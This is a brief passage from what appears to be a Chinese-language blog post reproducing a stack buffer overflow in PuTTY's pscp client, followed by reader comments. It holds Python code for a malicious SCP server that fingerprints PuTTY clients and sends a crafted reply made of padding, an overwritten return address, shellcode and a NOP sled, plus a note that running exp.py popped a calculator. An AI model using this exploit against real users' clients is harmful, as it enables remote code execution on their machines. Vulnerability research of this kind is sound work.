transport = channel.get_transport()
try:
if "putty" in transport.CONN_INFO['client'].lower() \
and "scp -f" in command:
LOG.warning("Oh, hello putty/pscp %s, nice to meet you!"%transport.CONN_INFO['client'])
# hello putty
# putty pscp stack buffer overwrite, EIP
rep_time = "T1444608444 0 1444608444 0\n"
rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+ shellcode + '\x90'*30)
再次执行exp.py,另一边用pscp连接,计算器弹出。
厉害了,shl总,不仅会黑客,还会摄影!!
"但我在跟踪的过程中,发现windbg并不能有效的中断在sscanf的位置"
不分析一下原因?